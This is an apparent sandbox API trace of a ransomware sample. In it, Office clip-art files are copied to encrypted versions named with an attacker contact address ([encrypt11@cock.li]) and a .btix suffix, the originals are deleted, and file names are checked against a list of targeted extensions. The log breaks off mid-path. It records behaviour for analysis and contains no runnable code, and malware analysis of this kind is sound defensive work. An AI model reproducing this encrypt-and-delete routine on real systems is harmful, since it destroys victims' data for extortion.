[0158.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0158.571] GetLastError () returned 0x0 [0158.571] ReadFile (in: hFile=0x35c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x18bb, lpOverlapped=0x0) returned 1 [0158.572] WriteFile (in: hFile=0x34c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x18c0, lpOverlapped=0x0) returned 1 [0158.574] ReadFile (in: hFile=0x35c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.574] WriteFile (in: hFile=0x34c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xea, lpOverlapped=0x0) returned 1 [0158.574] SetEndOfFile (hFile=0x34c) returned 1 [0158.574] CloseHandle (hObject=0x34c) returned 1 [0158.574] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.575] SetEndOfFile (hFile=0x35c) returned 1 [0158.575] CloseHandle (hObject=0x35c) returned 1 [0158.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid")) returned 1 [0158.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0158.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0158.576] lstrlenW (lpString=".doc") returned 4 [0158.576] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.576] lstrlenW (lpString=".docx") returned 5 [0158.576] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0158.576] lstrlenW (lpString=".pdf") returned 4 [0158.576] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.576] lstrlenW (lpString=".xls") returned 4 [0158.576] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.576] lstrlenW (lpString=".xlsx") returned 5 [0158.576] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0158.576] lstrlenW (lpString=".ppt") returned 4 [0158.576] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0158.576] lstrlenW (lpString=".zip") returned 4 [0158.576] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.576] lstrlenW (lpString=".rar") returned 4 [0158.576] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.576] lstrlenW (lpString=".bz2") returned 4 [0158.576] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.576] lstrlenW (lpString=".7z") returned 3 [0158.576] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0158.576] lstrlenW (lpString=".dbf") returned 4 [0158.577] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0158.577] lstrlenW (lpString=".1cd") returned 4 [0158.577] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0158.577] lstrlenW (lpString=".jpg") returned 4 [0158.577] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.577] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.577] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0158.577] GetLastError () returned 0x0 [0158.577] ReadFile (in: hFile=0x35c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x1c0a, lpOverlapped=0x0) returned 1 [0158.578] WriteFile (in: hFile=0x34c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x1c10, lpOverlapped=0x0) returned 1 [0158.579] ReadFile (in: hFile=0x35c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.579] WriteFile (in: hFile=0x34c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.579] SetEndOfFile (hFile=0x34c) returned 1 [0158.579] CloseHandle (hObject=0x34c) returned 1 [0158.579] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.579] SetEndOfFile (hFile=0x35c) returned 1 [0158.580] CloseHandle (hObject=0x35c) returned 1 [0158.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid")) returned 1 [0158.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0158.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0158.581] lstrlenW (lpString=".doc") returned 4 [0158.581] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.581] lstrlenW (lpString=".docx") returned 5 [0158.581] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0158.581] lstrlenW (lpString=".pdf") returned 4 [0158.581] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.581] lstrlenW (lpString=".xls") returned 4 [0158.581] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.581] lstrlenW (lpString=".xlsx") returned 5 [0158.581] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0158.581] lstrlenW (lpString=".ppt") returned 4 [0158.581] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0158.581] lstrlenW (lpString=".zip") returned 4 [0158.581] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.581] lstrlenW (lpString=".rar") returned 4 [0158.581] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.581] lstrlenW (lpString=".bz2") returned 4 [0158.581] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.581] lstrlenW (lpString=".7z") returned 3 [0158.581] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0158.581] lstrlenW (lpString=".dbf") returned 4 [0158.581] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0158.581] lstrlenW (lpString=".1cd") returned 4 [0158.581] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0158.581] lstrlenW (lpString=".jpg") returned 4 [0158.581] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.582] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.582] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0158.582] GetLastError () returned 0x0 [0158.582] ReadFile (in: hFile=0x35c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x2178, lpOverlapped=0x0) returned 1 [0158.583] WriteFile (in: hFile=0x34c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x2180, lpOverlapped=0x0) returned 1 [0158.584] ReadFile (in: hFile=0x35c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.584] WriteFile (in: hFile=0x34c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.584] SetEndOfFile (hFile=0x34c) returned 1 [0158.875] CloseHandle (hObject=0x34c) returned 1 [0158.876] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.881] SetEndOfFile (hFile=0x35c) returned 1 [0158.882] CloseHandle (hObject=0x35c) returned 1 [0158.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.882] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid")) returned 1 [0159.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0159.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0159.115] lstrlenW (lpString=".doc") returned 4 [0159.115] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0159.115] lstrlenW (lpString=".docx") returned 5 [0159.115] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0159.115] lstrlenW (lpString=".pdf") returned 4 [0159.115] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0159.115] lstrlenW (lpString=".xls") returned 4 [0159.115] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0159.115] lstrlenW (lpString=".xlsx") returned 5 [0159.115] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0159.115] lstrlenW (lpString=".ppt") returned 4 [0159.115] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0159.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0159.115] lstrlenW (lpString=".zip") returned 4 [0159.115] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0159.115] lstrlenW (lpString=".rar") returned 4 [0159.115] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0159.115] lstrlenW (lpString=".bz2") returned 4 [0159.115] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0159.115] lstrlenW (lpString=".7z") returned 3 [0159.115] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0159.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0159.116] lstrlenW (lpString=".dbf") returned 4 [0159.116] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0159.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0159.116] lstrlenW (lpString=".1cd") returned 4 [0159.116] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0159.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0159.116] lstrlenW (lpString=".jpg") returned 4 [0159.116] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0159.138] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.138] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0159.144] GetLastError () returned 0x0 [0159.144] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x18f8, lpOverlapped=0x0) returned 1 [0159.145] WriteFile (in: hFile=0x358, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x1900, lpOverlapped=0x0) returned 1 [0159.146] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.146] WriteFile (in: hFile=0x358, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xea, lpOverlapped=0x0) returned 1 [0159.146] SetEndOfFile (hFile=0x358) returned 1 [0159.146] CloseHandle (hObject=0x358) returned 1 [0159.146] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.146] SetEndOfFile (hFile=0x348) returned 1 [0159.163] CloseHandle (hObject=0x348) returned 1 [0159.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.163] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid")) returned 1 [0159.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0159.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0159.164] lstrlenW (lpString=".doc") returned 4 [0159.164] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0159.164] lstrlenW (lpString=".docx") returned 5 [0159.164] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0159.164] lstrlenW (lpString=".pdf") returned 4 [0159.164] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0159.164] lstrlenW (lpString=".xls") returned 4 [0159.164] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0159.164] lstrlenW (lpString=".xlsx") returned 5 [0159.164] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0159.164] lstrlenW (lpString=".ppt") returned 4 [0159.164] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0159.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0159.164] lstrlenW (lpString=".zip") returned 4 [0159.164] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0159.164] lstrlenW (lpString=".rar") returned 4 [0159.164] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0159.164] lstrlenW (lpString=".bz2") returned 4 [0159.165] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0159.165] lstrlenW (lpString=".7z") returned 3 [0159.165] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0159.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0159.165] lstrlenW (lpString=".dbf") returned 4 [0159.165] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0159.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0159.165] lstrlenW (lpString=".1cd") returned 4 [0159.165] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0159.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0159.165] lstrlenW (lpString=".jpg") returned 4 [0159.165] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0159.202] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.202] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0159.203] GetLastError () returned 0x0 [0159.203] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x107b, lpOverlapped=0x0) returned 1 [0159.204] WriteFile (in: hFile=0x39c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x1080, lpOverlapped=0x0) returned 1 [0159.205] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.205] WriteFile (in: hFile=0x39c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.205] SetEndOfFile (hFile=0x39c) returned 1 [0159.205] CloseHandle (hObject=0x39c) returned 1 [0159.205] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.205] SetEndOfFile (hFile=0x348) returned 1 [0159.207] CloseHandle (hObject=0x348) returned 1 [0159.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid")) returned 1 [0159.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0159.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0159.208] lstrlenW (lpString=".doc") returned 4 [0159.208] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0159.208] lstrlenW (lpString=".docx") returned 5 [0159.208] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0159.208] lstrlenW (lpString=".pdf") returned 4 [0159.208] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0159.208] lstrlenW (lpString=".xls") returned 4 [0159.208] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0159.208] lstrlenW (lpString=".xlsx") returned 5 [0159.208] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0159.208] lstrlenW (lpString=".ppt") returned 4 [0159.208] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0159.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0159.208] lstrlenW (lpString=".zip") returned 4 [0159.208] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0159.208] lstrlenW (lpString=".rar") returned 4 [0159.208] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0159.208] lstrlenW (lpString=".bz2") returned 4 [0159.208] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0159.208] lstrlenW (lpString=".7z") returned 3 [0159.208] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0159.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0159.208] lstrlenW (lpString=".dbf") returned 4 [0159.208] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0159.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0159.209] lstrlenW (lpString=".1cd") returned 4 [0159.209] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0159.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0159.209] lstrlenW (lpString=".jpg") returned 4 [0159.209] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0159.209] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.209] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0159.210] GetLastError () returned 0x0 [0159.210] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x1a2c, lpOverlapped=0x0) returned 1 [0159.211] WriteFile (in: hFile=0x39c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x1a30, lpOverlapped=0x0) returned 1 [0159.211] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.211] WriteFile (in: hFile=0x39c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.211] SetEndOfFile (hFile=0x39c) returned 1 [0159.212] CloseHandle (hObject=0x39c) returned 1 [0159.212] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.212] SetEndOfFile (hFile=0x348) returned 1 [0159.212] CloseHandle (hObject=0x348) returned 1 [0159.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.213] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft 